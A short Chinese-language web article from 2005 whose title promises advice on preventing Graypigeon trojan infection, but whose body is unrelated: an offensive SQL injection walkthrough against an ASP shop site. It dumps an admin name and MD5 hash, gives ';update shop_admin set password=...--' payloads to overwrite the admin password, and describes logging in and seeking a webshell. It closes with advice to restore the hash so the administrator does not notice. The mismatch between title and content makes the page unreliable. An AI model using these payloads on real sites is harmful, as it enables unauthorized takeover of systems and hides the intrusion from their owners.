怎样防止被植入灰鸽子木马 -- 小新技术网 Xker.Com

首页	\| 页界资讯	\| 安全动态	\| 网络应用	\| 组网技术	\| 软件应用	\| 工具软件	\| 网管知识	\| 帮助
文学	\| 操作系统	\| 注册表	\| 编程语言	\| 数据库	\| 服务器	\| 网页设计	\| 图形图象	\| VIP
论坛	\| 网络安全	\| 安全防范	\| 黑客技术	\| 硬件学堂	\| 路由技术	\| 搜索研究	\| 站长经验	\| 投稿
专题	\| 教育频道	\| 特色专题	\| 精文荟萃	\| 聊天通讯	\| 网络文学	\| 书籍下载	\| 广告服务	\| 旧版

设为首页

加入收藏

当前位置：首页>>文章>>网络安全>>安全防范>>正文

怎样防止被植入灰鸽子木马

Www.Xker.Com 作者：未知来源：www.hackbase.com 加入日期：2005-11-4 10:09:49

注入点已经找到：http://xxx.com/book.asp?id=1996
我刚已经用NB检测过了。可以看到，存在表段 shop_admin。
可是密码是MD5加密的：[adminid]:24 [admin]:zhuyaod [password]:d4716077c2ba075c
我们来尝试欺骗。可以看出，欺骗是没戏滴。
那咋办？难道要跑密码？那得浪费多少时间和内存啊？
下面我来介绍一种新方法：注射。注射的语句如下：
;update shop_admin set password=’新MD5加密密码’ where password=’d4716077c2ba075c’--
比如，我需要把zhuyaod的密码改成wmmhacker，我们首先要先获得wmmhacker通过MD5加密后的十二

位密码
这里用明小子的工具就能转换了。wmmhacker - f8dc763194f29433
;update shop_admin set password=’f8dc763194f29433’ where password=’d4716077c2ba075c’--
我们来测试。看见了，页面没有返回错误，表示成功了。
现在我们对shop_admin表段下的密码做重新解猜。
[adminid]:24 [admin]:zhuyaod [password]:f8dc763194f29433
大家对比一下，已经改变了。现在我们可以登陆了。
进来了。呵呵。就到这里了吧。值得提一句的是，我们进了后台，然后想办法拿到WEBSHELL。
接着，别忘了把管理员密码还原。不然他会发现滴！
;update shop_admin set password=’d4716077c2ba075c’ where password=’f8dc763194f29433’--

上一篇:拒绝服务攻击原理及解决方法

下一篇:没有了